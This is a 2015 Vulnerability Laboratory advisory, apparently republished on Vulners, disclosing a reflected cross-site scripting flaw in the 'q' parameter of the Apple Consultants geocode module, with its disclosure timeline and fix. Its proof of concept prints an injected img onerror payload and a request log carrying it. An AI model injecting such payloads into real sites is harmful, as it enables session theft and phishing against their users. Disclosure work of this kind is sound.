Document Title:
===============
Apple Consultants - Client Side Cross Site Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1533
Apple ID: 624519287
Release Date:
=============
2015-08-11
Vulnerability Laboratory ID (VL-ID):
====================================
1533
Common Vulnerability Scoring System:
====================================
3.3
Product & Service Introduction:
===============================
Apple Inc. is an American multinational technology company headquartered in Cupertino, California, that designs, develops, and sells
consumer electronics, computer software, online services, and personal computers. Its best-known hardware products are the Mac line
of computers, the iPod media player, the iPhone smartphone, the iPad tablet computer, and the Apple Watch smartwatch. Its online
services include iCloud, the iTunes Store, and the App Store. Apple`s consumer software includes the OS X and iOS operating systems,
the iTunes media browser, the Safari web browser, and the iLife and iWork creativity and productivity suites.
(Copy of the Homepage: https://en.wikipedia.org/?title=Apple_Inc. )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an client-side input validation web vulnerability in the official Apple Consultants online-service web-application.
Vulnerability Disclosure Timeline:
==================================
2015-06-20: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2015-06-22: Vendor Notification 1 (Apple Product Security Team)
2015-07-12: Vendor Response/Feedback (Apple Product Security Team)
2015-08-06: Vendor Fix/Patch (Apple Developer Team - Cupertino)
2015-08-12: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Apple
Product: Apple Consultants - Online Service (Web-Application) 2015 Q2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Low
Technical Details & Description:
================================
A non-persistent input validation web vulnerability has been discovered in the official Apple Consultants online-service web-application.
The security vulnerability allows remote attackers to manipulate client-side application to browser requests to compromise user or admin session information.
The vulnerability is located in the `q` value of the apple consultants `geocode` online-service module. Remote attackers are able to
inject malicious script codes to client-side application requests. Remote attackers are able to prepare special crafted weblinks to execute
client-side script code that compromises the apple user/admin session data. The execution of the script code occurs in the geocode module of
the apple consultants website. The injection point of the issue is the vulnerable `q` value. The attack vector of the vulnerability is located
on the client-side of the online-service and the request method to inject or execute the code is GET. There is no secure validation that filters
or blocks the entries of the vulnerable input fields. neither the firewall or basic web-server validation blocks to inject client-side script codes.
The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3.
Exploitation of the non-persistent cross site scripting web vulnerability requires no privilege web application user account and low user interaction.
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent
load of malicious script codes or non-persistent web module context manipulation.
Request Method(s):
[+] GET
Vulnerable Service(s):
[+] Apple Consultants (API)
Vulnerable Module(s):
[+] geocode
Vulnerable Parameter(s):
[+] q
Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privilege application user account and with low or medium user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
PoC: Location GEO
<div class="search-header clearfix">
<h2>0 locations near <em class="searchTerm">'><img onerror="alert(document.domain)" src="c"><iframe src="c">, United States</em></iframe></em></h2>
<div class="float-right">
<h2 class="a11y">0 locations near <em class="searchTerm">'><img onerror="alert(document.domain)" src="c"><iframe src="c">, United States</em></iframe></em></h2>
<button class="cons-button" id="filter-trigger" aria-expanded="false" aria-controls="filters">Filters<span class="a11y">(Show)</span>
<span class="hide">(Hide)</span></button>
--- POC Session Logs [GET] ---
13:08:41.094[206ms][total 206ms] Status: 200[OK]
GET https://api.apple-mapkit.com/v1/geocode?q=%27%3E%3Cimg%20src%3D%22c%22%20onerror%3Dalert(document.domain)%3E%3Ciframe%20src%3D%22c%22%3E&lang=en&limitToCountries=US&userLocation=35.8876432%2C3.7754009 Load Flags[LOAD_BACKGROUND ] Content Size[14] Mime Type[application/json]
Request Headers:
Host[api.apple-mapkit.com]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
Referer[https://consultants.apple.com/us/search]
Origin[https://consultants.apple.com]
Connection[keep-alive]
Response Headers:
access-control-allow-origin[*]
Content-Type[application/json; charset=utf-8]
Date[Mon, 22 Jun 2015 12:10:45 GMT]
Content-Length[14]
Reference(s):
https://api.apple-mapkit.com/
https://consultants.apple.com/
https://api.apple-mapkit.com/v1/geocode
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable `q` value in the `v1/geocode` GET method request
Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in the consultants service of apple is estimated as medium. (CVSS 3.3)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [[email protected]]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: [email protected] - [email protected] - [email protected]
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
([email protected] or [email protected]) to get a permission.
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation